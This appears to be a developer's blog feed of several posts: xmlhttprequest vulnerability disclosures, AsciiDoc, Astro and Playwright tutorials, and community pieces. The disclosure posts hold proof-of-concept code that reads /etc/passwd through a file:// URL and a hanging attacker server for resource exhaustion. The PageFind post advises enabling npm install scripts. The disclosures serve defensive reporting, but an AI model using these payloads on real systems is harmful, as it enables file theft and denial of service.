The best part? Any onRequest hooks or other logic that is part of Fastify’s plugin and hooks systems is maintained, including HTTP response headers such as CORS.

Disclosing a local file inclusion vulnerability in xmlhttprequest library

Thu, 27 Apr 2023 00:00:00 GMT

What is the `xmlhttprequest` npm package?

The open-source npm package xmlhttprequest is a library for Node.js server-side projects to use a browser-like HTTP client. Mostly intended for a convenient API purposes, it is technically a wrapper around Node.js’s core modules of http and https.

Publicly disclosing a vulnerability in `xmlhttprequest`

As shared in a prior public disclosure report for the xmlhttprequest library, I discovered several security issues with the library and have reached out to the maintainer in hopes to report the security issue and get it fixed. However, they deemed it as not a flaw in security design and did not consider it as a viable vulnerability.

I’m sharing my findings here to publicly disclose the vulnerability.

Incorrect Default Permissions in xmlhttprequest@1.8.0 lead to Local File Inclusion

Observations:

It was last published 7 years ago in 2015 with version 1.8.0
It has 1,814,290 weekly downloads from npm

Source code and registry resources for the library:

Background on the vulnerability

The library mentions support by default for local file access in its known issues README documentation.

Given a scenario that an attacker controls the URL to be fetched using this HTTP client library, and that no explicit sanitization is performed for the URL and its scheme, it may result in arbitrary file read access, due to insecure default permission. Arbitrary file read access is scoped to the global file system for the web application or server using this library to make HTTP requests.

Related: local file system access code handling on xmlhttprequest library.

This vulnerability should probably be classified as a CWE-276: Incorrect Default Permissions.

Proof of Concept exploit

Install the latest known vulnerable version of xmlhttprequest:

Install xmlhttprequest@1.8.0 which is the latest version of this package. We will use it for a client web application.

Create the following client.js file that makes use of the library to send a GET HTTP request:

const { XMLHttpRequest } = require("xmlhttprequest")

const xhr = new XMLHttpRequest()
const url = 'file:///etc/passwd'

a();

function a() { 
    // access local server files:
    xhr.open("GET", url)
    xhr.onreadystatechange = function() {
        if (this.readyState == 4) {
            console.log(this.responseText)
        }
    }
}

xhr.send()

Run this code snippet as a local Node.js script.

Observe that the the program prints the contents of the /etc/passwd file from your local file system.

Disclosing uncontrolled resource consumption in xmlhttprequest library

Sun, 16 Apr 2023 00:00:00 GMT

What is the `xmlhttprequest` npm package?

The xmlhttprequest npm package is an open-source library for Node.js server-side projects to use a familiar browser-like HTTP client. It is technically a wrapper around the http and https modules in Node.js.

Its purpose is to provide a familiar API to Node.js developers who are used to using the XMLHttpRequest object in the browser. These days, most developers use the fetch API in the browser, but xmlhttprequest is still a popular library for Node.js developers.

Disclosing a vulnerability in `xmlhttprequest`

In August 2022, I discovered several security issues with the library and with the help of my Snyk security analysts colleagues I reached out to the maintainer of the xmlhttprequest npm package to report a vulnerability in the library. The maintainer was responsive but did not consider this security report as an actual vulnerability to be recognized or fixed.

I then decided to disclose the vulnerability publicly and share my findings here.

Uncontrolled resource consumption in xmlhttprequest@1.8.0

Observations:

It was last published 7 years ago in 2015 with version 1.8.0
It has 1,814,290 weekly downloads from npm

xmlhttprequest code and registry resources:

Background on exploitation

The HTTP client library fails to implement any sort of timeout controls for outgoing requests, and as such it is possible for attackers who control the URL provided to xmlhttprequest to set the server to delay requests for a considerable long time (infinity) through which the HTTP connection will hang and never terminate.

If attackers are able to force an application to perform several such outgoing requests then they could saturate I/O resources on the running Node.js runtime.

This vulnerability is classified as a CWE-400 uncontrolled resource consumption issue.

Proof of Concept exploit

Install these two npm packages:

Install xmlhttprequest@1.8.0 which is the latest version of this package. We will use it for a client web application.
Install fastify to be used as the server that is in control of the attacker.

For the vulnerable xmlhttprequest library, create a client.js file as follows:

var XMLHttpRequest = require("xmlhttprequest").XMLHttpRequest;
var xhr = new XMLHttpRequest();

xhr.open("GET", "http://localhost:3001/hello");
xhr.send();

For our attacker-controlled web server, create the following server.js:

const util = require('util')
const fastify = require('fastify')({ logger: true })

const delay = util.promisify(setTimeout)

fastify.get('/hello', async (request, reply) => {
  return delay(11110000).then(() => reply.redirect('/two'))
})

const start = async () => {
  try {
    await fastify.listen({ port: 3001 })
  } catch (err) {
    fastify.log.error(err)
    process.exit(1)
  }
}
start()

Run the server and when it’s ready to accept new connections, run the client.js code which sends a request.

Observe that the request never ends (timed at 29 minutes before I killed it on my local environment).

How to apply custom admonition styles to AsciiDoc

Mon, 10 Apr 2023 00:00:00 GMT

What are AsciiDoc admonitions?

AsciiDoc admonitions are a way to highlight important information in your document. If you’ve ever read a book and seen a note or warning in the margin, you’ve seen an admonition.

They are a way to draw attention to a particular piece of information in your book or document. They are also a way to add a visual cue to your document to help the reader understand the importance of the information, or provide them with tips, or fun facts.

What are the default admonition styles?

AsciiDoc comes with a set of default admonition styles that you can use in your book. These are the default styles that are available and they’re described in the AsciiDoc User Guide as follows:

NOTE
TIP
IMPORTANT
WARNING
CAUTION

The default set of admonition styles are great and they can be customized to your liking through the PDF theming capabilities of asciidoctor-pdf. Here’s how you’d apply a custom admonition style to your theme in an AsciiDoc document:

admonition:
  font-size: $base-font-size
  font-color: $theme-colors-admonition-font
  text-align: left
  # all admonitions will have a width of 0 because
  # we want to disable drawing them altogether
  column-rule-color: $theme-colors-tip-background
  column-rule-width: 0
  background-color: #FFFFFF
  border-color: #E6E8FA
  border-radius: 3
  border-style: dashed
  font-kerning: none
  font-style: normal
  padding: 0.3cm
  icon:
    # icon name specified as:
    # <icon set>-<icon name>
    # all prawn icon sets are supported, see: https://github.com/jessedoyle/prawn-icon/tree/master
    # for Font Awesome 5, use the fas- prefix
    note:
      # we are disabling fonts, hence it is 0
      # otherwise, use $base-font-size
      size: 0
      name: $theme-admonition-note-icon-name
      stroke-color: $base-font-color
    tip:
      # we are disabling fonts, hence it is 0
      # otherwise, use $base-font-size
      size: 0
      name: $theme-admonition-tip-icon-name
      stroke-color: $base-font-color
    warning:
      # we are disabling fonts, hence it is 0
      # otherwise, use $base-font-size
      size: 0
      name: fas-fire
      stroke-color: $base-font-color
      # or, instead of an icon you can provide an image:
      # image: bulb.png

A lot of custom styling can be applied which is great, however, if you want to add your own custom admonition styles this isn’t possible out of the box with the AsciiDoc PDF toolchain. To differentiate your AsciiDoc admonition style you’d have to declare a custom Ruby extension that will enable this.

How to add custom admonition styles to AsciiDoc

The asciidcotor-pdf GitHub repository has an examples directory with a lot of examples of how to customize the PDF output of your AsciiDoc documents using Ruby extensions.

The repository also includes the Ruby code file pdf-converter-admonition-theme-per-type.rb to allow you to theme admonitions per type, such as:

admonition:
  text-align: left
  column-rule-color: #eeeeee
  column-rule-width: 0.5
  
admonition_tip:
  background-color: #ede8fa
  border-color: #872de6
  text-align: left
  border-radius: 3
  border-style: dashed
  font-kerning: none
  padding: 0.3cm

Then, to apply the custom theming as part of the PDF generation, you need to instruct the asciidoctor-pdf command line tool to load the Ruby extension using the -r command line argument which references the local extension Ruby file once you downloaded it and made it available on disk:

$ asciidoctor-pdf \
    -r ./themes/pdf-converter-admonition-theme-per-type.rb \
    -a pdf-themesdir=./themes \
    -a pdf-theme="basic" \
    -D ./output \
    ./book/index.adoc

Dan Allen, the co-creator of AsciiDoc, updated the official documentation for extended converter use-cases to include a section on how to add custom admonition styles to AsciiDoc.

This article is based on the AsciiDoc Book Starter template repository on GitHub for authoring books using AsciiDoc.

How to write your book with AsciiDoc

Wed, 05 Apr 2023 00:00:00 GMT

This article is based on the AsciiDoc Book Starter template repository on GitHub for authoring books using AsciiDoc.

huge shout out to Dan Allen who’s the co-lead of Asciidoctor project and open-source asciidoctor-pdf extension for generating PDFs from AsciiDoc. Dan’s work has been instrumental to the success of self-published authors such as myself, and I’m incredibly grateful for his work ❤️ Thank you Dan!

I’ve briefly explored other formats such as Markdown, Latex, and Pandoc but I’ve found AsciiDoc to be the most flexible and powerful format for authoring books. It is easily readable and writable to a human, has a lax syntax and good set of defaults for authoring books, and it can be easily converted to other formats such as PDF, ePUB and HTML.

AsciiDoc is also a very powerful format for authoring technical documentation, and is widely used in the media and content publishing industry, such as in O’Reilly’s books.

Basics of AsciiDoc and Writing

An important observation to get started when authoring a book with AsciiDoc is the notion of the language vs the implementations. AsciiDoc is a language that’s intended to be a lightweight semantic markup. To generate output from AsciiDoc we use text processor tools such as Asciidoctor, which is free and open source.

Get up to date with the latest AsciiDoc syntax and features by reading the AsciiDoc User Guide.

Features of my AsciiDoc Book Starter

My AsciiDoc Book Starter GitHub repository features the following advantages to help you get started quickly with your book authoring journey.

AsciiDoc book authoring

Book authoring experience provides the following features with this repository:

Table of Contents (TOC) generation.
Template prelude chapters: A Preface, and a Forward.
Template chapters with commonly used formatting in books.
Chapters are structured into their own chapter directories so they can be co-located with their images and other assets, such as code snippets.
A PDF output that uses a theme, and can be customized.
A PDF output that uses custom fonts (Google’s open fonts family). Specifically, an Open Sans font for the body text, and a Source Code Pro font for source code snippets and inline code.

AsciiDoc book generation

Batteries-included book generation features:

No need for a local installation of Asciidoctor, as the book generation is done via Docker.
No need for special CI setup, as the book generation is done via Docker.
Docker-based scripts to generate the book in various formats, including PDF, HTML and ePUB.

Getting Started with AsciiDoc Book Starter

We start off by getting familiar with the repository structure and the various files that are part of it.

The top-level directory structure looks like this:

.
├── README.md
├── book
│   ├── chapter-01.adoc
│   ├── preface.adoc
│   ├── foreword.adoc
│   ├── index.adoc
│   ├── fonts/
│   ├── images/
│   └── themes/
├── create-book-epub.sh
├── create-book-pdf.sh
└── interactive-asciidoctor-shell.sh

The book directory is where the book content is stored:

The index.adoc file is the main entry point for the book, and it’s where we include all the other chapters and prelude chapters.
The images/ directory is where you can store images that are used in the book.
The chapter-01.adoc is an example chapter that you can use as a template for your own chapters.
In the same directory, you’ll find the theme-able PDF themes directory, and the fonts directory which contains the fonts used in the book.

Generate the AsciiDoc book

The following sections describe how to generate the book in various formats and without requiring you to have a local Ruby runtime environment or otherwise, since it is all done via Docker.

Building the AsciiDoc book locally

To build the book locally, you’ll need to have Docker installed on your machine. Once you have Docker installed, you can run the following command to build the book in PDF format:

./create-book-pdf.sh

Then you can find the generated PDF file in the book directory. If you’re on a macOS, you can open it with your default PDF reader as follows:

open book/index.pdf

Helpful AsciiDoc Scripts

The asciidoc book starter repository also provides a few helpful scripts to help you generate other book output formats and debug the asciidoctor tool:

create-book-epub.sh - Generates the book in ePUB format.
interactive-asciidoctor-shell.sh - Starts an interactive shell inside the Docker image with the asciidoctor tool installed.

AsciiDoc Book Assets

Static assets for the book are stored in the book directory, and include the following:

The images directory is where you can store images that are used in the book. Inside this directory is a cover.jpeg image used for the book’s cover, and a space.jpeg used as an example for an image in the book.
The fonts directory is where you can store fonts that are used in the book. It currently houses the Open Sans and Source Code Pro fonts, both with their original .zip file archived as downloaded from the Google Fonts website as well as extracted each to its own directory.

Summary

In conclusion, I found AsciiDoc to be a bit overwhelming and a steep learning curve to begin with, but once you conquer that hill, I’m sure you’ll find AsciiDoc a great format for authoring books.

I hope you’ll find the AsciiDoc Book Starter repository useful for your own book authoring journey.

Another shout out to Alex DeBrie 🤗 who’s the author of The DynamoDB Book and who helped me get started with my own self-published AsciiDoc book using his repository as a starting point for the AsciiDoc setup.

Celebrating Community: My Journey to Receiving the GitHub Stars 2023 Award

Thu, 16 Mar 2023 00:00:00 GMT

Being part of the open source software community has been a fulfilling experience and one that I have been committed to for more than two decades now. I have been fortunate to have the opportunity to work on a variety of projects and contribute to the community in many ways. Some of the most meaningful work that I have done has been around promoting the importance of web security and raising awareness of software supply chain security issues. I believe that everyone has a responsibility to make the web a more secure place, and I am proud to be part of a community that shares that belief.

For me, the free and open source software movement (FOSS) has been a passion since I was an early age Linux enthusiast in my teen years, where I was actively following the Linux kernel mailing list and dabbled around in the cyberspace of BBSs and those early days of Bazaar-style software development.

I have dedicated most of my adult life to build software in the open, to engage with other developers around the world and contribute to open source software. It’s been a fullfilling and inspirational journey to join countless others across multiple disciplines of software development and build great things together.

It’s always about changing the world for the better and doing so with extreme kindness. And hugging. I’m a big hugger! 🤗

Nowadays, it’s been a decade long of work spent in the Node.js and JavaScript ecosystems. I started my Node.js journey with contributions and later on the project-lead of the MEAN.js full-stack JavaScript framework that’s built on Node.js, MongoDB, Express and AngularJS. These opportunities turned into fun hobbies like building command-line applications to manager Docker containers (dockly), and later on, working on matters of open source security. Projects such as Awesome Node.js Security help curate security incidents and raise awareness of security issues in the Node.js ecosystem.

Code projects I’ve build such as npq, lockfile-lint and is-website-vulnerable have been instrumental to helping millions of developers to secure their software supply chains and web applications.

For me, web security activism took many shapes and forms, from authoring books such as Essential Node.js Security and Serverless Security, to actively analyzing hundreds vulnerable code in npm packages as part of HackerOne’s Node.js Ecosystem Security working group.

This last year has been especially exciting to also unlock a new type of open source activism for me - the ReadyCodePush project. It’s one that I am very proud of as it has been a great way to share my passion of open source with the next generation of developers and help them to get started with open source contributions. It specifically aimed to include underrepresented groups and those new to open source software, often without even a GitHub account, and help them to get started with their first open source contribution.

What is the GitHub Stars program?

GitHub being the home of the world’s largest open source community, it is only natural that they would have a program to recognize and celebrate the contributions of developers who are making a difference in the open source community.

The GitHub Stars program is a way for GitHub to recognize and celebrate the contributions of developers who are making a difference in the open source community. The program is designed to recognize developers who are making a positive impact on the open source community and who are committed to building a better future for all of us.

Some incredibly inspiring colleagues of the GitHub Stars alumni include Gina Häußge who is a full-time open source maintainer on OctoPrint, Oluwasegun Adebayo who is the creator of the open source project UI components library called Chakra UI, and Daniel Stenberg who is the maintainer of the curl project.

Behind the scenes, stand the wonderful humans Anisha Pindoria and Martin Woodward who are the masterminds of the GitHub Stars program and orchestrate it to excellency as part of their work in GitHub’s Developer Relations team. I am thankful for the opportunity to be part of the GitHub Stars Insight Calls, the Stars slack channel and interact with other open source champions and product managers at GitHub. These have been valuable resources for me to learn and connect with other developers and I am grateful for the opportunity to take part in this program.

Gratitude

I am beyond grateful and honored to receive the GitHub Stars 2023 Award.

As a developer, I am passionate about the potential of open source software to transform the world of technology. The ability to collaborate, innovate and create new and exciting projects together with a vibrant community of developers is a privilege that I am grateful for every day. I have been fortunate to have the opportunity to work on a variety of projects and contribute to the community in many ways. Some of the most meaningful work that I have done has been around promoting the importance of web security and raising awareness of software supply chain security issues. I believe that everyone has a responsibility to make the web a more secure place, and I am proud to be part of a community that shares that belief.

Through these last couple of years, I have worked on several projects within the GitHub ecosystem that have been exciting and challenging. Whether it’s educating developers about insecure web applications, command-line tools or contributing to the development of open-source libraries, I always try to give my best and learn from others. And equally important - lift others up and recognize their work.

It is this constant drive to build anew, improve and push the boundaries of what is possible that I believe is the key to a thriving open source software ecosystem. I believe that together, we can make significant advancements in technology. To that end, the GitHub platform and the community around it, has played a vital role in shaping my career and helping me to grow as a developer.

This recognition means a lot to me, and I deeply appreciate it.

I would like to thank the GitHub team for this incredible honor, and I look forward to continuing to work with the community to build great things in open source. Thank you for your ongoing support and encouragement, and I hope to inspire and help others in the same way that you have inspired and helped me.

Open Source activism with ReadyCodePush

Sat, 25 Feb 2023 00:00:00 GMT

On April 5th 2022, I wrapped up the very first open source activism program in which I set out to promote hands-on practical education for open source software among inexperienced and underrepresented groups. Here is how the universe helped me manifest an idea about open source into real-world impact.

Going into 2022, I wanted this year to be more about driving meaningful impact for open source software. It seemed unthinkable to me that Computer Science students or developers already incorporated into the industry don’t have a GitHub account, or never took part in collaborating in open source projects. I wanted this to be about collaboration and welcoming participation to developers who hadn’t yet felt the rush of getting their pull requests merge.

I also wanted to spend more of my time with underrepresented groups. Earlier in 2022, I reached out to bootcamps and meetup groups such as SheHacks KE which promotes cybersecurity awareness for women in Kenya and lead a presentation about open source security and secure coding with Node.js. I wanted to do more of this, and with more focus about open source software in general. How do I go about doing that?

The brainstorm begins. One idea was about running some sort of Open Source Day at Universities and plan a schedule where we learn, practice and celebrate open source collaboration. I had started conversations with folks but it didn’t move anywhere. At work, I was also very busy and together with all of the time I’m already investing with communities and open source development, I barely get my 6 hours of sleep anyway. My idea almost faded away… until one day!

The Emergence of ReadyCodePush

One day back in February 2022, I went out to work from a small co-working space in my suburb city, Ashdod. I don’t live in the tech valley of Tel Aviv. Most of the working desks were occupied by students and it was a lovely atmosphere that reminded me of college working groups. Since this was my first time there, I naturally had a conversation with the co-working space owner and he shared with me about his attempts of creating a local community for folks in the city where everyone help each other and also help them succeed in their career journey. This was it. Thoughts become words, words become actions, actions become reality.

I proposed the idea of running a workshop about open source software. He immediately smiled and said MADNESS! Let’s do it!. That’s all it took. A few days later of that February 2022, I started drawing out the concept for a program that would come to span over 4 weekly classes. I created a syllabus for bringing the students up to date with collaborating on open source software. I had two guiding principles: (1) the program needs to be inclusive, with specific success KPIs for inclusivity around gender and underrepresented groups, and (2) the program needs to be practical and hands-on, and yet not require any prior knowledge of programming. There are also no slides beyond briefly presenting topics.

This program came to be ReadyCodePush 🎉

The first cohort of students were recruited from the co-working space. I was lucky to have a few volunteers who helped me run the program. I was also lucky to have sponsors who helped me with the program. I’m grateful to Snyk for sponsoring the program and providing me with a budget to run the program. I’m also grateful to GitHub for providing me with a GitHub Education Pack for the students, and Hub Ashdod for providing the venue and great pizza for the students 🍕.

A brief overview of ReadyCodePush course curriculum is as follows:

Class 1 - Open-source software and the GitHub Developer Platform
Class 2 - Software development on GitHub’s developer platform
Class 3 - Automate software delivery with GitHub Actions
Class 4 - Securing open-source software with Snyk

Through-out this program, I saw students creating their first GitHub user, earning their first green contribution square 🟩, creating a GitHub user profile README, creating their first repository, and forking and opening pull requests. That’s a lot for folks new to open source development. It didn’t end there. We learned and practiced configuring GitHub Actions, creating a Snyk account and seeing vulnerabilities come to life for the first time, as well as fixing them. They were all hooked on open source now. Some of them were even hooked on cybersecurity and keen to explore it as their next career step.

One of the students, Sagi Weizmann, is a full time employee full stack developer, and volunteered to run the DevOps introduction per the curriculum featured in Class 3. What a hero! Sharing his experiences, practicing public speaking, and taking active part in this program. I was proud, impressed and thankful.

Together with Hub Ashdod, the co-working space had provided the venue, brought the empathic humans together, and treated us for great pizza. We launched the program in March 2022, recruiting 34 students who regularly came to the in-person classes on Tuesdays from 6pm to 9pm, and actively participate. We concluded the program in the second week of April, 2022 with the first cohort. IT WAS AMAZING.

How to add client-side search with PageFind to your Astro blog static website

Tue, 24 Jan 2023 00:00:00 GMT

PageFind is a client-side search tool that can be used to add search to your static website. It’s a great tool for adding search to your Astro blog, as it’s a client-side tool that doesn’t require any server-side processing.

PageFind works by crawling your static website’s build directory and creating a search index from it. It then generates a set of assets that you can include in your website’s HTML. These assets include a search box UI that you can add to your website, and a JavaScript and CSS files that you can include in your website’s HTML.

This makes it a great fit for Server-side Generated (SSG) static websites, such as Astro, Hugo, Eleventy, SvelteKit, and others.

Let’s learn how to add a fully static client-side search to an Astro blog website.

Install PageFind client-side search

Some developers may have security rules to prevent installing packages that have post-install scripts. This is great, because it helps to mitigate incidents of malicious packages. If you are one of them, you should update your local project’s .npmrc file to allow installing packages that have post-install scripts. The reason for that is that PageFind is natively a Rust-based tool, and it performs a post-install script to download the pre-built binary for your platform.

Update your .npmrc file to allow installing packages that have post-install scripts:

ignore-scripts=false

Then proceed to installing PageFind:

npm install --save-dev pagefind

Add PageFind to your Astro project

First off, you need to add the PageFind component to your Astro project. You can do that by creating a new file in your project’s src/components directory, and name it PageFind.astro.


<div id="search" class="ml-3 p-4 -mt-8"></div>

<script>
	window.addEventListener('DOMContentLoaded', (event) => {
	  new PagefindUI({ element: '#search', resetStyles: false});
	});

    window.addEventListener('keydown', (event) => {
        if (event.key === '/' || event.key === '.') {
            console.log('you pressed the slash');
            event.preventDefault();
            document.querySelector('div#search input').focus();
        }
    });
</script>

<style is:global>
	.dark {
		--pagefind-ui-primary: #eeeeee;
		--pagefind-ui-text: #eeeeee;
		--pagefind-ui-background: #152028;
		--pagefind-ui-border: #152028;
		--pagefind-ui-tag: #152028;
	}
</style>

Don’t forget the is:global attribute on the <style> tag. This is required to make the styles global, so they can be applied to the search box your website’s dark mode layout toggles.

You’ll notice that this also includes a dark class that you can use to style the search box when your website is in dark mode. You can also add your own custom styles to the search box. This will automatically enable the classic dark and light modes that are available in some themes for Astro.

Add PageFind search component to the blog page

Update your blog page to include the PageFind component. You can do that by adding the following line to your src/pages/[...blog]/[...page].astro file, if that’s where you have your blog page:

---
import PageFindSearch from '~/components/widgets/PageFindSearch.astro';
---

<!--    wherever in the page component that you want to add the search box
        just add it:
-->

<PageFindSearch />

Include the PageFind CSS and JavaScript assets in your Astro project

Next, you need to include the PageFind CSS and JavaScript assets in your Astro project. They are automatically generated when you run the pagefind CLI tool and are placed within your resulting client-side build directory, such as dist/.

You specifically need to add the following two head-level meta tags:

		<link href="/_pagefind/pagefind-ui.css" rel="stylesheet" />
		<script src="/pagefind/pagefind-ui.js" type="text/javascript"></script>

You can do that by adding the following lines to your src/layouts/BaseLayout.astro file, or any other page that you want to include the search box on and update the layout as shown in the next example:

<!DOCTYPE html>
<html lang="en" class="motion-safe:scroll-smooth 2xl:text-[20px]">
	<head>
<link href="/pagefind/pagefind-ui.css" rel="stylesheet" />
		<script src="/pagefind/pagefind-ui.js" type="text/javascript"></script>		
	</head>

Update your package.json to include run-scripts for PageFind

Next, update your project’s package.json file to include run-scripts for PageFind. These scripts need to be able to run after Astro’s build process because PageFind expects to crawl a dist/ directory and create its search index from it.

You can do that by making the following updates to your package.json file’s scripts configuration:

  "scripts": {
    "dev": "astro build && npm run postbuild && astro preview",
    "start": "npm run dev",
    "build": "astro build",
    "postbuild": "pagefind --site dist/",
    ...
  }

Now we have a dedicated postbuild command that generates the search index and assets for PageFind. For local development, as we want to experiment with the search box, we modified the npm run dev command to split out the build process, so we can then run postbuild and then fire off astro preview to see the results.

How about a cool bonus section in this blog to add a hotkey to focus the search box? This is a great way to make it easy for your website’s visitors to find what they are looking for.

To make that happen, we’re going to add an event listener to the window object that listens for the / key. When that key is pressed, we’ll focus the search box input field.

Open your src/components/PageFind.astro file and add the following lines to the <script> tag:

    window.addEventListener('keydown', (event) => {
        if (event.key === '/' || event.key === '.') {
            event.preventDefault();
            document.querySelector('div#search input').focus();
        }
    });

You’ll notice that I also bound the listener to the . key. The reason is more of a personal preference. In a Hebrew keyboard layout, the / key is located on the same key as the . key, which means that if I’m on Hebrew input mode then I may press the . key. So I added the . key as a fallback and basically made it so that the search box will be focused whenever the / or . key is pressed.

Build your Astro project with Search

That’s it!

Now you can build your Astro project and see the search box in action. You can also try out the hotkey to focus the search box.

Here is a video of how it looks like on my website:

Advanced usage patterns for taking page element screenshots with Playwright

Sun, 15 Jan 2023 00:00:00 GMT

Using Playwright to take screenshots is a handy tool, whether you are practicing visual regression testing or crawling a 3rd-party webpage to take a screenshot.

However, what if you needed to customize the screenshot, such as remove items in an element that are part of the screenshot? depending on the page structure, you might not be able to exclude the items as they are part of the parent element.

In this post, I will show you some advanced usage patterns for working with Playwright in order to take a screenshot of a specific element and modify the contents of the image, either before taking the screenshot or after, using image preprocessing tools.

We’ll learn and use Playwright, and Sharp to do so.

Let’s get started with programatically taking screenshots!

Taking screenshots with Playwright testing framework

The Playwright documentation is pretty well built to communicate and explain how to take screenshots of a page. It’s as simple as the following API call:

  await page.screenshot({ path: 'screenshot.png' });

The documentation even covers how to specifically take a screenshot of a specific element, such as:

  await page.locator('.header').screenshot({ path: 'screenshot.png' });

So let’s take this knowledge and apply it to a real-world example.

Consider the following Snyk Advisor web page for the Playwright package:

We want to capture a screenshot for the Popularity section, denoted by the (1) annotation in the picture above.

However, we don’t want to capture the three text paragraphs denoted by the (2) annotations. Yet, from an HTML DOM structure perspective, these are part of the parent element, so we can’t just exclude them from the screenshot.

Consider the following test case that uses Playwright to take a screenshot of the Popularity section:

import { test, expect } from '@playwright/test';

test('take screenshot of element', async ({ page }) => {
  
  await page.goto('https://snyk.io/advisor/npm-package/playwright');

  // run some sanity to make sure we're capturing the right page
  await expect(page).toHaveTitle(/playwright/ig);

  const element = await page.locator('#popularity');
  await element.screenshot({ path: 'package-popularity.png' });
});

Let’s get started with some advanced usage patterns for taking an element’s screenshot with Playwright, but in a customized way where we can control the contents of the screenshot.

Using Playwright’s addScriptTag to modify the DOM before taking the screenshot

Playwright provides a way to inject JavaScript code into the page before taking the screenshot. Whether you want to modify the DOM, or just add some CSS to the page, you can do so using the addScriptTag API. The API is documented here and provides the ability to both specify a path to a JavaScript file, or to specify the JavaScript code inline.

Specifying the contents of the JavaScript code is going to be a handy way to hack this example in order to DOM before taking the screenshot.

Let’s build on the above example to take a screenshot of the Popularity section, but this time, we’ll be injecting a JavaScript code that will hide the three paragraphs that we don’t want to capture:

import { test, expect } from '@playwright/test';

test('take screenshot of element', async ({ page }) => {
  
  await page.goto('https://snyk.io/advisor/npm-package/playwright');

  // run some sanity to make sure we're capturing the right page
  await expect(page).toHaveTitle(/playwright/ig);

  const element = await page.locator('#popularity');

  const scriptJsContent = `
    document.querySelector('#popularity p').style.visibility="hidden";
  `;

  await page.addScriptTag({ content: scriptJsContent });

  await element.screenshot({ path: 'package-popularity.png' });
});

This will generate the following screenshot file:

As you can see, only the first paragraph is hidden, which is because we’ve had used querySelector to select the first paragraph, and not all matching elements in the DOM.

Let’s fix this by using querySelectorAll instead:

import { test, expect } from '@playwright/test';

test('take screenshot of element', async ({ page }) => {
  
  await page.goto('https://snyk.io/advisor/npm-package/playwright');

  await expect(page).toHaveTitle(/playwright/ig);

  const element = await page.locator('#popularity');

  const scriptJsContent = `
    document.querySelectorAll('#popularity p').forEach(elem => elem.style.visibility="hidden");
  `;

  await page.addScriptTag({ content: scriptJsContent });

  await element.screenshot({ path: 'package-popularity.png' });
});

This is great because now we’ve hidden all the paragraphs, but I’m sure you’re thinking the same as I am: what’s with all that blank space in that div? Let’s fix that too.

Instead of hiding the paragraphs, let’s remove them entirely from the DOM so they don’t occupy any space:

import { test, expect } from '@playwright/test';

test('take screenshot of element', async ({ page }) => {
  
  await page.goto('https://snyk.io/advisor/npm-package/playwright');

  await expect(page).toHaveTitle(/playwright/ig);

  const element = await page.locator('#popularity');

  const scriptJsContent = `
    document.querySelectorAll('#popularity p').forEach(elem => elem.remove());
  `;

  await page.addScriptTag({ content: scriptJsContent });

  await element.screenshot({ path: 'package-popularity.png' });
});

Let’s look at the generated screenshot now with the above changes:

Using the Sharp npm module to modify the screenshot image

What is Sharp?

Sharp is a high performance Node.js module for resizing, cropping, and manipulating images. It uses the libvips library for image processing, which is a fast image processing library with low memory needs.

What if we didn’t have the ability to use Playwright’s APIs to modify the DOM before taking the screenshot? What if we only had the screenshot image file?

One way to solve this problem is to modify the image file in a way that crops the image to the desired size, and removes the unwanted content. Luckily, the way the page is built, the Popularity section maintains a consistent layout proportions across different package pages, so we can use the same cropping logic for all package pages.

To use Sharp, we need to install it as a dependency:

  npm install --save-dev --ignore-scripts=false --foreground-scripts sharp

Note: if you’re wondering about the --ignore-scripts=false and --foreground-scripts flags, it’s because Sharp uses a pre-built binary for the libvips library, and the pre-built binary is only available for Linux, macOS, and Windows.

Then we can create the following Node.js program code to use Sharp and apply our image cropping logic on to the screenshot image:

const sharp = require("sharp");

const FILE_NAME = "package-popularity.png";

async function main() {
  const image = await sharp(FILE_NAME);
  const imageMetadata = await image.metadata();

  image
    .extract({ left: 0, top: 0, width: imageMetadata.width, height: 525 })
    .toFile("package-popularity-cropped.png");
}

main();

Using Playwright mask to hide content

A hidden gem with Playwright’s API is the mask option that takes in any number of page elements and will hide them with a painted full rectangle, a mask.

Here’s how to use Playwright’s mask API:


await element.screenshot({ path: 'figure1-1.png', mask: [page.locator('#popularity p')]});

The above code uses the screenshot method of the element object to take a screenshot of the element and save it to a file called figure1-1.png. The mask option is used to specify a CSS selector for an element on the page to be excluded from the screenshot. In our case, the element with the CSS selector #popularity p will be excluded from the screenshot and it will select all of the matched p elements on the page. We have three of them, so that works quite well for us in the case of Snyk Advisor’s popularity section.

Playwright masking result looks as follows:

Summary

Good job! You’ve now learned how to take a screenshot of a specific element on a page, how to modify the DOM before taking the screenshot, and how to use Sharp to modify the images with a server-side Node.js runtime.

Enhance your command line with Warp

Tue, 22 Nov 2022 00:00:00 GMT

Maybe you missed out on Taylor Swift’s tour tickets but don’t get too sad, I want to show you some cool features I use with warp as my command-line terminal tool.

It’s about how we can harness AI and crowd-sourced workflows into our day to day interactions with the command-line.

What is Warp?

Starting off with the basics, warp is a command-line tool that is set up to be a one-stop-shop for all your command-line needs and is a replacement for classic terminal emulators like iTerm, iTerm2, Hyper, etc.

AI assisted command-line

Imagine you are working on a project in the command-line trying to work out some tasks like for example how to figure out the size of the current directory. You could use the du command but did you know you can do that? do you know which flags you need to use?

Warp can help you with that. It employs a form of neutral language processing in order to understand what you are trying to accomplish and then it will suggest the best command to use. It will also show you the flags you need to use.

Here is a recorded video of how I use it in my own terminal showing how I am using it to accomplish tasks such as:

How to find the size of the current directory
How to find the latest versions of the Fastify npm package
How to count all the files in the current directory

CTRL+`

Command-line Workflows

Command-line workflows with Warp are a sort of template-based commands that were curated together to solve specific problems that are very common in the command-line.

For example, if you don’t exactly remember all the flags and command line arguments you need to use to create an HTTP POST request with some JSON data then you can simply browse through an already-made template that will do that for you.

Check out Warp’s workflows in the following video ⚡️

CTRL+SHIFT+`

Command history

You probably know this command-line trick already, in which you can type in CTRL+R and access the history of previous commands thant you ran.

With Warp, you get the same thing but with a nice overlay pop-up that makes it much easier to browse and find stuff!

Content creators web resources

Tue, 22 Nov 2022 00:00:00 GMT

Background productivity tools

Haikei

Haikei is a free tool that helps you create beautiful wallpapers for your desktop or mobile devices. You can choose from a variety of backgrounds and add text to create a wallpaper that’s just right for you.

Website: https://app.haikei.app

bgjar

This free generator offers a variety of modes, including polygon, blob, colored shapes, curved lines, overlays, and others. Users can customize the width, height, and colors for each layer.

Website: https://bgjar.com

CoolBackgrounds

CoolBackgrounds is a collection of tools allows users to create striking, vibrant images for blogs, social media, and websites. Available modes include abstract triangle, particle, gradient, topography, and image.

Website: https://www.coolbackgrounds.io

SVGBackgrounds

Customize and apply backgrounds fast in order to create stunning websites easily with fullscreen graphics under 5KB.

